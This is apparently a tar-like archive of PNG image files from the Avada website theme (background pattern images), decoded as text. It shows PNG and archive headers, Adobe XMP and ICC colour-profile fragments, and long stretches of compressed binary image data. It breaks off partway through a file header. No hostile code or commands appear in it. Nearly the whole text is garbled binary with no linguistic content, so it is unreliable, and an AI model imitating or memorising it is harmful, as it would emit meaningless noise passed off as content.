"D+n'ݩ}E)$oj}fv$LOIT:zV6f&dIyW XKXHbB*(vW| Qk"R5- *(ЈD*KFSJ{"A5h2 }#Vyw(#T)z\ L(]MXjURW(BD maEUP!@%ZFЭT*FnJMAP([k<餈xT^ VvZZڊM?sԭ0+AVlvj[Zx>E4VՐФBTCJK#Y? Q*+*$av>dT_R:TS9@X=G-4Z bތ+d(7YR&#vn%ZpP:8@6hZhP!-%ǐi+((bTX"p%oT" xh *sJ͌͛1I(h\hW')12E1vLmG@F$р[$s}߿$ 1[ ?sZ3^mfߚ4Cc/lBt_PdK4ZvPbP #Ǥ6-@-$U:1` L/{=eZA鸼5Hc!QuYxy;2x@`a RJJ!Xkl-յZ綷o4ɫΊ{X>q~:"Q(|t:Q 5@hqӿwNxRܻ.n wQֆ"B%%ehCQo O)3+E QSy|r|9s>G` F4UR@&%7SjJ H6إj}s`"@.*9<%}OLJs_;<IF, `^Yo ;|/?2մlj! j'6Y>*Q$PdV}qר 5[@@L.2" So~%?]uSDU0D8>*BoQG*Q#J*sj 칺_v*)(Ko_<ʽ\Dl@B4$@9bR?mwHt1BPRK 0.cHgA^Ō8-BP T$9?z?__gZi@ڢbH`J $Ŭ ӈ1i-Ѝ(FRu 4,JN:D(@qb;w3OFf.,-BR$,fR罏+#@"j*VT^@QLH@T$b7ivَp||Ͽy>|~je@l@)2;*9];zw{o_]#h!H-kR s?A).'XS4Bi$ɛ>`WS= J9{mAXǁHATf1ivhHP* AhJ GdՈdnhuZڲ&OcCD[+F* FZ#I8v'W-)*m-SJ:BOOo9U [IqN樂/wE R6jJ2P.QQW<~ٯB@DLJ,.2"jduER4@# h3HPK@EQG(k1M0 M%eBϞ#1J5g;+)^moo9^A)PHi1Lb;_5P@@16|'݅=w?vb$UJszQJSmg/}/rT[@AB4!Ҕ*B[% .'( $4u-*@}ʴ)rٮU s[Eʪ]AU;۔ Ш׉?cͿ}~o4J1A[4~x+Tj#pi\cR΃ob'8*0x_(ǖ%KR'#?=nte8n["pWz.`mA7l4Շ (s-{xӖ!^*$Qp>"NWj5X<Bq(>[zn+$|E9Ja9D#ULa8wԍ;]&Ͽ|{@([ Eh2ZQm5HABNs~,#WPػ&oC cSBC[́n2OL .)h jF IܒsEǔl!˼lh5 -nzvK Д6 ;ʂP)*T5ZB"K+| @h|H. t "~Fʔ |_W=+5tVQhÊ/ޕ$7 {3c()B8ѻӌ#=^I4BF q1ƨPGGTj)%(D kA"TH+FJhȖ(ҢZ|`xDD\ T*KthN!6/g{{ϿO2ޥƠ+'~4Rcai" ֌ebπ#|`+Udj ʒ%^HBءCLq.*" ^h$.بU`!V*$"tHitZaUPM1[j%UV1b[d>zUdP+R 3_F?YFpj@挪 ЛFAziQLA)gHCQ:h@g ]TFʀi,B &&n1jlhډ[U$I@P(.-ێ0RV)AAjKK!T-T@܈CEOIJX0jQ!17{g:-ٝ Tivh{U"Wk"*gVx&ܪF.BPRhE%utqJTw(iXQGP D+)M%]oJ EdxTA$2؟\vE TiyG{[0HZI Ta[u揋GbZ5E]__7,)m$z`Qք `_݈xzP*8UqztVZ קH2:a\ KA qTT.G8YUDMۣ"3EKz$h^Ʋ.օ *[PR+E(Zċ *QR{vy?quoXj_\Qq*JE@ve 9ٴ4v*ভ9z\Οg(_=1E SJ8Ck Hz dT*VVPI#TjED`jv [$/إ]l -((o7mJ^2A(1AH׵GZ~ ^Y=  cI- aG"RvE"hUf`CQ RUPP:**-~ZHepB$Y-P"P[ x=A`ToiA"؎ Z"EP$ 8H `] v1PmY>?}'v9s9\O UiVi,&MŻxeyM?Zo "L jXB1d[RP:B(]ܞ ư% *jH'=)uՈ3[u -##BR$k;V]kJ) qFXpu\M JH<=3yFOe,*ny5 ,ԏ3UHzIr"za5^ `@]4v arJY1]J̀l8+D!jԊB ŢV'!,B&=nőC*P;UB4əAPŭnEDkyퟻzJ6!\CS´(RB0)s-MQxJ%%iٲ-X$mi4/E<&R TlTϘں"j qy\Aڬ%xfk"@5EZZhX6s,b_YTH-QDV/S -`@Yűs>wjXц-lmkIeB@@ʕvG6:.w#8XhHYe%K|#)BCe5n-<ϔ jOk 4@0c(H2MV-#()޺cTP(qGuY=v B+ n9|[Kh-TBJ~z<'0OouN.o:jUBoS&~(b4!)^I2JS$% %RRe$-<-9+W0GV#W@U)@De$P #S%Rq%#mCP6)z:QPp1L;MH)Bą"!ZIE`E6G 0PB,zOߖGyS=zwު*$/v+~i,T4e@`j# ʎiJ[DC"*mb%l 0  r1Z˖Ro  PiUj $XfײqoB+ć!M-j$K@qJ7*GAB~y3}~xϜޓK"e&Bw  edY+5r9PC :ϸ>4$`bibn[LE!aZˆJP(-)5)` A&ݙ EYzc,jWߞHY õϫJ|XT:6y#B JaNlX4IU蓜!HU-P `UF`%\@v% Ue)ȭ9ӭJ$*@+>8.Z_>. T {CE <$R 6+pZ PFC<+1"~?RK"pC>6u)+Rm9@8gL h:ȎQb3`@m ״cPG44Dv( *vHm V*nKJhps@UU@{PЊ{iqJ+PkɹN>?uOIstԅ^g~4{S"`Ec=,ADKxHP dc=>@.T&mMDj0@RQz.4+ UKmJ0[dhHR "S*Hs4b CE %u.<(2D,U>gwFETP Y:7sdxy?='֟FϮ<J4BV #EiQF$* -0PTH D"Chߡ*ZSt6(9zJ]Q1إt@EAO+5(p1u!  84`ERw}.n12Fc!#*To5*P??X?ߞ͉ݿ1ʪ|>oЍ…D7BT’K]J+ AL$h䦨 ++i PsJ+hUy|#A$Khp%D (U@pmR y n)aIZ'i@ުBd! D+ߋʴ7oZ뙗b *@QT:Ҥ>|q*37 ~'[* ?l7$$#M,A#TWyE{tXE PR35c y>[],% {2U\M[SU@E@%T[P"aFC+4PZEGD ɒӳ+H7EQݥ4[{ri[ "T4%W~>?=߿Hsy}cvem# T-,t&*_eS{vB @k sDS UceHtTxˢ#r) D] ʠXA- A`+ԺR(g-JhּߞC2'x*+!]֮T DT@mء@!Ӓkj<a}N/s 7ât>V E.yw$ xVDVk"J` kb<$QiOACw_ێSIZ@mRв0 `#BhQ3#LfR_sV 4R3-B H]}ެϩ* Rc.瞃a J}Y/{TCj^͛L;{T,T@"j^^"PT5 gt)VU#RCc VdJ- ԊJ$hb*S"p3N-PvjR|w(ED*2f i5ս{/'  ]3fq_7yUgŭ?q#@-V+T*P*1J}l+{PZR]O*H) QP Z("Q(Ȓ7B@O`D *XK[p7ocyLf\DSFEJjʴڀ7ʁ<]$-- edf:Gܿ/4yz_,62i|ʇݳ$I"ZhE"F-*)V`؎sE?[㏟9?A*c!QNWJ 5U ysJ*BP#h0T %)B}D3PcT D@+VZʵ5j$[WZd*(&U;V+sJLM/G;GQ[˅=BEvϋYhN(")qlRjL*U+ks?!\J CweƠf η t;@ R(hӢ+0+WϹZ x~mԔVs[tzi{E,hZ@V0r5`[uv~FtފgTns[ځ~Փ-j p\6 <ݳkA$V Ҧ$4ORmQWS@Q9Mz?_s@@䶭*Z9j$ DBH2by]KhUyEU[#33@*[W- '?|" ҹR uBxWkۙ dIe鱲v  ARӀLiԜ]oOþWFT9/0~nَ$5)%AڢϓM,)kJR\d2~˽i޲-BsFZwA4Q0jA O[Vm+S$^AՕJBMWǿ_-H8E+њ" 2$@;8Hۈg2J*aRTrl'ZmaE_7g#c=O^w:t(xJEe~wuGJҶHEB҅|L^R`EI*U@BY,G,z7*Qm6A#8EoZҌ Tg)XT =PG_$XӔy~)j1mXNwFV荎vHRhPM1HNtQ"%zUyQzb2tOTHJ@s(Q&rJJ"u썕F(Pvi%4+uՊ6c(67*i$(-%A,F J,)"D+-\?0 ap@(+wGtdfn+)bE iyٸCD7}z8B+ZYRDKXj+-bL:_4PRgQ i{4TZP# [I.\d ]EcV膶w"P.b* hh!0d"JD)!Yh$ !:-6Իr85Ǫ4jXLh]V,Mu|ZHHK[FLB5@ .Y`HHjRƒh4slٗ#tsy$u,RǕJo?|VJB#TN-P`[*tgZI`@t* Wbq*Hہj AqڕA C -I"mJ0K{xR>FȇV XG93gFR@Gk?"THg@դ*g:!z5z~z9th JToȯwgl"$-!\ʭf saP h\F1SFP*F+n<)d݈VEi$ AUbL@qa=*"t>w$e/D!x=Ͽy~ͿoවNdyZr$Q$JPxfjt S ]іsz>m[&1-1HY6YF se HTMD)n5aڂn)D] TҖح"TS%aZ4AĝQT ZJ4`-٫*sL.z?]L_ gI $E@AJ,eڇP"3:DJ^6 ٨r $CzAs}oӫ}S}LDcX`*Y#* -C@BhE=;JT@E͕EA7(*Z8: M,!)T/zJ-[B0s|| BrʂRP4>X Mm=29Z/^hd%y{$8Ӝ𳿙_tWd &.Rr9"E\J-Z iRK9B*ԕތW E*  T 谅n?zl)*r+#8Ry_)Є-Ay$|y{e<$c' (kK\bx@XW}Rgs?Yxb?z.yw+AMy>D@_V ϯ~~=y~3ǮHW۷?~󄅽hr4\NEoFtiJ)k Cz%TT$ Em%8Gsiߟl~}_*Br=X wƊ"K+_VW(NQ@gATJ4E@ -1&Xj_lqc?^S/\ X+Jaw"}׵vĂM rq/r:B(PHF\>-*GP Vl&T#?&U݆%r.\@dL%"yߊbs{[E<hqw3^|JlXR57g}k5GV"@èXrOoywN# ])%ҮnHܗ_XT+%7Sܱ'2$RDr+Dm4zJ J/ZҡugY$<]hABfRAA-!GrхA^`WݡC02ǭ---FSViNJ +4{%GjhP$h?~^XԶhi%5M@ eŪvri QY^TVHhD"I T:)T+QZ5ET%Ŵ!ÀYBrŀ[9[HI\d%UJ#J(TjMs\C)ܪdpGGW hƞj6Ն眧{G' T],<Q(WE&I`lm#iL ?-4c -ri&vTz$A?c7F5n-PEn)BH/|_i9b2[0$["BԊ+8jvkI>bUnϐBI{FY?E# `QmJ2.pZQ9 h)>[J$T@  4|)Jr/EhD2f^ί .hQ[/ P]g-TZ@%J5mi) l`FBuWZHJVjQ,TA*Kq i*ɻ5a&p{_҇e37:MQdvTGlـ6֗xmR kɺTFdJ$AMeAT(-RAEح4|ZsDPY% VER%J5$b ~osBA'H4B#k]YyMejV5U&N"X[_rXn߇<7ܐd*I-\ƕʪ֔Fgn @&K<\J7Z$޽mi**1Q+SvIѮ$B9ٷ2 f[M2 REݒP eiW|^fw(6+㕞:l?D\`Xm6f;o,Q޻ħ^}2 ޟVGq!rB 1W)bWTOLmDҞo҈6T@-FZۣڴZ+-C$DFRn"T6(qe5 *h#ش)"e̢F.EYS TRxΙ›PgOcU[- o]!ZX"(v>Sjn%f7'_fʀE`{EU5b@_xU[DA$@ J*:s* nڪ[4 X ɋywTDRСV@OWm[TŔTY񺕚Ұ+b@A@3ű8'g/>Z,;ޕq {il@X*j r+=4Ej-N@7m:5[QZacj<]Y\hW uW2ت*J*ՎM[hS@PI mH~.YT9TaK P)HMi%p!*WtK~t pr$!of7 t<UmC z.sԀ7|䵀ӂ"%RlzI<.+C=pnhB"@PePTC%#Ɉh6ƅ"kQ]Z"]5&m)Xm *@IPpCDܨLi" j=$u4l6rj"trWnEeH~pn V]'w?>H%@htJWe\ƂVWQr-XEEPhAg.0o8uQ(fTURZP{k.}(i: .Hv*U=[5T][d)26{XkdIR+uҴGLQmڞlT*GA` -@_uz!|?VU(lpe `>ozΆI'Hr+]V H Y08P,ܶEa J17 FxZ)0Dh^VGд-R.8DRQSF#zlh$NxN׮B*Y[%=wTRP j=c(]*;v-A@Ti%+0N(+*n^RPQAi 4(+J! !+*dHH0z}"%!: U i:@j ͻ|t{w]*jHyy*[UGݡ2Ehd35D`ՠpSV>{Nw$IENDB`Avada/assets/images/patterns/pattern19.png000064400000042651152342437710014544 0ustar00PNG  IHDRT tEXtSoftwareAdobe ImageReadyqe<$iTXtXML:com.adobe.xmp wSBIDATxْDZa&?L&D ) pÿ/?}|s~|\|sM^xq>?& ܳ]px>9As|~9_<yJ+9?ʦ<˗Ys{.8o'?m۳e=Li\/ygog.{Mo">xs.:|njb[4|-s xEVhEJ痆dR- QssÖsV\p.=6}6{{'-yXVwiJ{>Kn}TawphzNӕ}=L<3w6#7mgU'%i.Ihb۳ԴgpgZ%DW۹=לwe)>Ȱ\p=p~Kbwߎ ̾:iMlOs:kݡGtMW &u;{]8jaZǓ@neUϛ7)3ɧD{R:D*giuA{353tJWvH_ϫ%I=ןv γA{b0[m=ν5yJ3}KFu[NII]6okzwF['IcHK[⌓?wK!9y?#+mP7=;C>YiҒR= \?۵gBjv$Z}2Θz5pz=S뜵yZrv2 dE8p$i )Bd@vym;}qo[vg5Kh,xJ"{n"g<ذ,ϥLYQ.O>$$48 wy:ުeYkwgoa~DVRwIȾޏՙsub[7?N[{^k?5JAG(q2@Λ tziBILWsTƜ6,9Ŵ]mޓlԭ4ry9Na^EGg˧V{<ӧ8|qvUw9ϭ cOL$:=/7݌xf 7gC8sKY)@uJ;N9H&D24S :,tTzu|Ntyyv!Ou3, x*ݛ&Rv"};yMA~'P4m8p[FU bĵ;ܶ=.`9^}yHB$LBCXW#ibV섰vU@Qklsz8etvFS[2Cdel9Lkl [i#M] ܳU;֔&8o1e2=_7l1Y*pahy30*A{s>oӋZLf?ngg<7nKγOIyJthzt+a[KakokSIv٤zFnǒ9oM{X96zX9|;#4RyO-:DuJSO^g~l[ӠbP|Il96*=}ff4ymP>iv aӷ/{LBbȁνi7,ř |lmTd]29pw#F2@3_.h7@FE!gZk4+x6tIۥ (Y{eڹKle ):,'.a9=i tǣtzsηїf1$HkgourrAO59 z:H|½+@va禁Su=OA5Z;qH>qV0 % t9=9o{M~SǯDkT-Uc+xX(]}B Y6fg wa 7]v񌙫@Fى$>ؘbl?n^CWy3""-%3:߲c `?-Ttz`_b کKAOba@kdqhHC|Q3֏z,"chs%` O_L& Y?HJfv{Μ [ūɆ1^]ji`(Ǵg4V?uz{˚f9T>lA eް"S|}SAKjI W7GQ̓o803/F`2MʞE'Է`!Iݬ_b n0Z~m^SK;^_`- F6f->T)Pڲ%6P!d&sy:Ka*'qnqs%" fQ \4tRw8iI4kq p,@ב繰yָ6[>KwàpEo$gqBބ}ťt6T{sS8IEIuuKʿt$ɒX4]l|Eu皳Z'!oDA~!nť"0EgZX7 (;w8 BoA;Ѕ&[pQc@xiv},q* -f \@ԩjf3<[}ڮ =7h2akX -SdGl]3MQLޫ(n[ P+ Mj#S~L1sTm$I,'7JC$7 Q&!wH$WؤL6l;xO QuzJjꍖMޑpD/tGە3&BUgUY/8ȹH礪\/πsV$HKT}ߋ.YEds$eZ$@{7D.$at)loE\{75mHKfu[&s[lNlnK+ی۲am!ޯt?W-嶐%-|-z|-чȅb ^Tng!;JԧZ6A45 (u:ĘXRXWJ_<3*?f:ڌ1fI} li+zt ZI4m^[/<T spw:l_k(09{MǀY~R;{o)$YR/}[KO4Ac 祧x~Ha|[(?=Bͽ\?XR% !. ~Tއj>vpΞ>ǭKs:gkY~qT29l(Yùh*Xt Bii+7q4ۊ9m4Y i逩>x햿I %;}[GLQI*ȅi$GoQ}a򼳰j EbfJds)/Y. VtBN!w[0k. ?@2 HczB@q`d9jf_f?Y[H$g'.3~ӻso3`ԫsZJޗB=b l |͑|䘳3NU55-P/}QۖɞMY"$L("mpm_>,u~KR1<`߇C2~kfp@~ y,p+*۶UmGٌp͉vu%Zcm=\_VE~r6#>Jr5E32T-[Po@x)*}ro͆He< #xYu-TZI!$|^ LQٶ!L m2*(GC)IW l xaÇN#AFq-Yq< J" pymz E!K jH BbWӘGG4(Q y9M=G K0#͛7Wm%_ ,Ҍ>V(k:ok y_}&{[1{ϛ(dy)EALV\d3wkZ?VL3EGa0kyNP[L"I1VCw{+Ȑyo7J6qY\\6Ҍlf?ty=^/r(oP*|5UlBYr`֯ NYd"d@큧`t+9Q} Byh4G:d8N x27YWvtN y t-bsr$ĕN̓8o Ƣ8\ y=SCJj>]ݲCf^h^~a;1ٗ2+٦KTLf;dgπi=d-fUCN&GKY3b/NtЪϘ{64yTYg(A"1XG}O8IMeg`/l)d!*o>K#-Z!+/IEQ8`[< R`j.aHiO}V_U`ϤnT-Ĝ5~![i}81)[IŰ5nuҚB$ U8O[LŽ] 8@tƶdY(;fɺ֘mu7AW y%IMt0Trb=Ed<ɮ&Y<lԖzpzP,$Pl 5,[CaܝG-鶘UC_z9P fS]4ﭡp 5`V [5Pjc=Z6V"31djcP?kpVjUAJ`>R}hDjeYU s҃;]!c2fS}U2mO^[=lxr;gI=w%U 1R,l efH2[AȘ86pAqW)X!xo9 Կޑc`Rۦ=%%"AI;v5ߕ%CE'':Dfښ\p6Cgpm@ 7 -X@mUvrui/#1`M?GZ$ڂ `x%YKВẕyK"[6.&>m)LW+5:` H["N"I:ęewqs2,`47}km;e@pScJH-㪍E )Vy_ +PWmT;PpeRzqP@!Թ i$QPc>$xiA:R̲&3ކo@C$-o8d=fǹiZNE<wT.׮m⪅!\sXrߐsP' oyudѡraZۗ 3&d lBB6lX.<(˽^/h1{_1(T+Z:}/n%*#h;muHˡ}߼y-: ݙ愎Nl*"TRH8 Q϶[M68\!1&bGNrk]Zokcұ˯i n^"m,GdMF++A,q:֊6S%WD3|o7бxG'UW.OW'fa<&&ě#Gc&nJo=b(i<a6TߪJa]V+-M̰Ds&(t祧b!ը"k-U`'n4 jkZ<VLYFBU9) !i^!b6/i1$ g { ̰Dmcu#7vٺodܭ앱M7mtAz-% Zãd6AƽX?AK-Bn?dKlMխA*(Y x *,S;̑"O&y=WAUed6PÆH"$(s @R$ՠuO5R@KbH޺Zi+ౚzu%$<B8-hgHPRA.ƎL}وJ Up`ӒаtO?t}\깒PloE6it:oYXEZʃNYݺ]We;) pۉ~9W1VՉjѵ0ly']ז\;[UޕL_F%@ ɃYkI%x XO"M.'Re5Wf&G29$@ZhM1-ِ"")PG(q ^Zo^sxhe[A [L-AR5$Hg]-(a—_nA˶ c*CpjnnICKoJ ݞ yzD Mz;g]O^ mm;j+l Ԟ7I -$?vIo""^zYYEc6V9WaW>[k׀ks $ٲqX!59(OfA? PO|g8+V%Ҷ5"KLڠW٢6<S >ٙDx S1Py"/ˤniӵfN0 ;GGTm*SbiHnM Ҏ\~~ܶaOʊ?_DS,Yu󋹗9# \Z-"T܌ëHT2q.T^(-}bH3Vt 2wF뻄y;B'T]ԅéb(xMRKl( 'c`;YtX6CۑTHVvnӎj%;\&R}UuI2;x ol-X,I2uYx+욫Uo(mlO%D#8iِldԋKt}XoMKmk:U3(&'~_m5|s*&ÆLV#E v,jЎY! W_y ux&ٮ?#`s|%J"隬R'-[1ltQ% qug~.jXH~T˹cr~ZŦƼcF~{2s{C1?7nǂmPdǂrR^dkfaMKFϣ8Fe/1 rlMWv=pzz)Kqʋ:l r2 X&̾רRfk&zچ-ȬfliRbCMLtӦau Et5Gj[|{/A~HHqK 8?vH$mp?1e|mHV>pT+vzAڒc-ʈQ7U(vHKA@0OnˎannrȒJ6{"kM_cl#h-hqxZCj0ejꞠaf7oD/nNK<;^zf.pcc} f+$Uf# Udn[_6Cw®V{vk[ذկr[3S  ' =qk%lW4Q#WZP-(DH0Yh]N=k$* )64^ZWPAa2+N/_2mch^GĚs(4\pyJ9X)Vw6o/b򌓽f34ތvqeg\nV%):PXaV}F/YWh@1!~+,E<GJ:o%.E+c.{yTjR66]jel BG=Ezo)]%w KÖ@|o`)`*]Bz_v .tH%dk0n0dQEqpߗb}6mZ(v 9n;3'R(gch`4 2OWPe8*FWK2K7vOUt+HXCMm+0t#t9e.\2h$Sf{AȒ}D:h̼<1g5~o޼V`<k 7o틣K0݊Q(0Qt36_HLUbW~ۘAneȎ&o2pN ~B!Tvxi+H .jQfhFwi^5S%Q0}*Y ~I>C'-Ůdy`++g*CTɡCc[ Pr3Q뫽.'N& #4k_HV$nD(4tEE:EF0SYkk:[Eބ,*~l1mH5x2 Vi|i1=b myh!Smַd2TW˩W+sNMhS_;(?j|# ´2&HC8( o_he\`vL/?9/m`BEb[;:3p 9+ ؛HRh ,@XODq*ko*hM\[ʟAb9ltT[Oa'kMnMz+/s \m.?`R>SkS0 5BU:Fܢ%n\./`yLmͅ%-^/ڽ@o!iN\4 {ZwWDۂL*X:Pٔ@}mP:lnB'޲b"[(yeabxg#`m3Kl[QtUtmz $myaAyamRg+JS[QM{mCYGAΞqk)Ң}|_)/6^Ƕ+WTAܜC;9zϺ^`7rӵXOMdFX-?W NfCx&'Uiυ/-='#B$^* YH&trK4)嚕0eKܡb``zVNOi_|8Zj U1=_o0p9Ժ`'t Z:nfIu ۈyjˤFJ* mSW YÓEe5H~lͶ;źzѶyD$_MB#[/N'|ؘ*R$F\-&) $үO/3g3Pceۋ8.tu Wd->mUp~+/:K@",)BE>zj!ۣTmSeKX;ԆHeψ\~Lܭb"(i{gZni_s^B ّ ,(׫Z' ZB-Q U3Z lk9?Zo>w,-慖B*uSį^@O1$iGBhQ/[ PS ֻ[L!RZЇϹYRɢ*VJ T.߶m}&66k&Uf_b+pp̰_ʡF#7lFj*2nBXq GBJㆳ 1V@[Kr۸Ԓ6.J̅Ƚ3QYGb&~OhI>#B0Fy {ju[t)ʟ)6fK?A7cvUWG R49&Us]إ%p:'u rJ|۪{dS d˪\BJiQp, 7KQBC1ο1wՠC,suL@OcrL:ֽCW/Ǥ EcuŕK&ō8&m(nc]XԼ-:&:wC.NWi*K@гW#7Zr6j𪫭cÆ0H -H8^HB͛@-"5Y%гі27⏎І;2SInAhnE%{M_ITt $-/zzՊ_^,M6ѾAcFl#eCh͒A$N[ݼ^cТDl:3h*lTԙfmȶ;DNvJD#R`W4 )n~I=ʛfzݟyxVp3[R:ÑK`vT5bҶ5F1xW!"CߺoY|n{]2&tPcУI"=loYv`sVn˩Z-M1RgW->kSǵYKE'l4\a&tc!ͪ+zJ%eTVDkƅ664L 3h{g,W" p!U8V DP9Y >C!އ-6Gqh0Mne%~JvQ/uAM܅ׯ__ z-zZk(Uʄօf ǯ27?ޢ{mVh K98`k:fۄ>c<ݡN@k-ehF܊wk[oU==o–Ē?rO#9BѶ[U8tX,i_kJ qkt=)ν$%%hStPe&P-c7|mkV W]?ZReu72"˲T>q\` J{ I<9n=tE@k!ཬ%*xF9?*~o5FE)h} 8/&ȑkWv\ :L*N: kgoAL$H0]ژvONMښd[nX~v6H;? 2JDIENDB`Avada/assets/images/patterns/pattern6@2x.png000064400000024456152342437710015035 0ustar00PNG  IHDRQPaә pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FYIDATxl[$׬Cif؎;}$}*}>MԹT&p{3gwsޙ7g}ts۰aV1Yo|6la>xs97{cZ-`9g{zf,`{+Xo{벧<|޻nff6wC֚>g~i?N?3gb)%Üszޛ^_Gѻa\aal齿9w̙>pa9gZy<ưoT3gSxff1FޛjVk5ス^ec {c6b6|֚6g…,`ΜR,`6̼<޳juٰa1D}oソn;9k[m) SՏ53p5?]ٰfrRT\1$Z9!Ep)EQiYo3sfÔCSZ1wYm׶a3ge!ZIi&Gma7Eu r9/Z-h9g[ Qaf> !̼ac,d)Ŝwh{c1DEp*$}t )Xyf?mͼ:Z,n}ߊByBz^323)f{kmn}*B6LΉm>?5kpvf1yGWaC#19 aB0sfu|Lgq"B, DSGcÆdfG'BȦ>qJ]wzBtb7+sB XW>RJJ;!RNJ6Y5sfڔ^sJ-DLmՂbRz0?f)Egc;y{­7NUKZ8Z-Æ^(" PPw!AB1 @"Fs(6c1ߕƢOkR' ~ Йw~F3l &c6{?;ۥ߯*:A^͇ZIˮ;?g}9sI9g_CMPV ̙6@Lz.Σ_c Lcmu7bv[ OZkbl/d~n1r<&KSd3JϽArqۭ6K9YJIDaqV{p}_WJ@;DWAh)2r#} mZo<ĒG;EMn)'΋k5URgN%ӵO;GAsnin%h)%|brlJǁv*RJz^lFKnxi D _6$ !/͊) tcяʾ1Q&. @n%z XcS_SUy|6pXIz=qUIew~&{oͅ)+O@> ,JՆylL~YNy#CVPyyrڐ贚,0j x"ˆ)sK)Jof7yۮp76 {xzV^TAȿ2ЭNP^ąʣϨ:t8TT 躈b{w^aIf3߀9Z|3^Ra8YH)EY$rr&B%?Zq[6o?~9IZ?@VmʌNoڬ7㹟?)~! 7@*-񈣟^s^;qYy]5sA@@{ڮ'"-dj'y!r%ǎh{QlD>V΃#D;B1eYHILGņ@ HWO /ɑ,eX` ꥔VNN(!2ߧc죥tn1)jz0&μm5na}KP\mhM‚|.HkEfѽspq׆Y{Vβm>O,E!4[D'p]$`콟\0rWf^(8rVt9+?Ll7H(np+FTN㴈LxEGlcNnSOd*t, ND=FDe 1J.?{*NJ~ԉRLwG|7v3xpi`F8 ԟ^Tm ̉<61~t?<6[ <WQ'tUn6H`!xVۖOkQN+z6=dQ =@yR~Va;[˔ @&0z)l4D.xJH 9e9ּim(" զGG2uh36۪" ȅ5q[<(uC+B`'A'H;]6L2-t?yNTctZ*0dgAA]N}cisCaDü>7J -ϧ}?k !E͇,_y^72DSyi&g1e }Xj$"[kX}tYG9o6=xp@l:18+g6RӤ>$Vvy%V=,(9IR,PDa s΋G&Wx֘޻]u~L(>!B`.:'(.uֱ"-R<#6gd1趔9zs4[H]Q;6#^@/Mfݪ"@VM19FDI&Eh iʎfT͡7}F n?A‚]C>ӞKx*hRF7&9V#F1y'&q ,nC@ӡe7O>$g΂Cj~p-D_ ~Ź)$Q!uUwTDxg l{CJX "ygG "8'l7u[{SYȄIH~vɓ4EDW@NU|Ek#W; #6.B^T@]nȅ[ѫ= 3$lrâVzYQ%#>F7l#0mևj|n1MIuROKO.xօ2c[E`с̾?<3'-J;65%>,}Eq4^k2Ѧ!):߾~?ѭpo&5DhÚ5?8SugחIX ˦gfR0BXRg cqa;VH>zcFpTSJ)d>T-8yeCz`m tc(յvc(,M4]ۦO5rQ!hWTX% ?3g>zTMiܺzs!UQ|$QJ!D>-0)%?+k4Q!ZB 9N4R) R'm 9R~sҰդ_nOǃK-*FYO&aҏ)~s3bG'Ni#n8 xHg2)b#A&ߞsq4F>,{hJK2]9TG+ksL2'N)SN:s 7%DHC풓uDMa:u 7sccR"4Zҙ(]ϱ4"Qc EDRp]+ fj|bVX[UҰ(pLA5[!jSwJ)$EOf`}BgS.nAqb0]*ңy U9pXkلyfTEӔNĖ.\:f6r_[U qFNs0.+zu;fkvw1Λ;#'찠9}M˪|r͎M~ B9?b lZfa8s@?+Kw~{@}L.y }G z}Ye+zV]q ϙJ)^U֬}߂U! O9M7m맧;9EC(v.n%Ub{`Qa>믿s.:QW% ^[ \ Mlƍ$)*! dRKvJZ4Rif?MSL)._E#ҐlLNXi(DΊ1ZfcjCP"0ƈDL|8lů> OV֕#O<̟ s8;Mq9+9C񵠌jZpG2|+B;~yIӪukc~B/]I.x#P-sms)5# +;})xʳ%m¡ΪL9]tt@/SuDE͑tBpfs1l>Nِ8gONTXVǸGB= S#]Á*'K}bؚ,y*l\"p~4BT8k[izm>@eq>7D Q&X9rZ(3xOv:kSNJWly.A 9`ZoSJ,rfO6 iNd9^ֵq"}PTNn9q9}3h0%[m[iVr]$O  Q}/NO[3!?uO[bFΈU.܀rZOMs~[{RAO^ù̡ˇY" ?*=m=Mv/JY|ƀ:'oK-;=I"G7k{ǘ#JX#0٬b50 q-y %|_<\_,D ,ZMqťLl)ƇRjs9YpAi`cB$qeSYF$:\hcKXZS*%-ԕcC˰Sݼ[ng_k?)yYjRV’^akD'%kM<#݀}X(>VNֺB[)1"&uڪ4^jߏlABomձ't}2}tscW=MɅxa4 "%pROftҾ-lHZ;2 ?e TI뗻-^EMsk}Dhkj?D=|-U3~}t]ɨBs?64\i>ͤ?SkRͱ2MI8Ú^Bw]ca'Lr yQܷkJeBȄ+VB3"BW`Y=@PQ7H7#oi}x,æ KL ӕR>]Զ^"|-ZKr]y]6oM^ {!s!+OIoZadIENDB`Avada/assets/images/patterns/pattern3@2x.png000064400000005504152342437710015023 0ustar00PNG  IHDR((/: pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  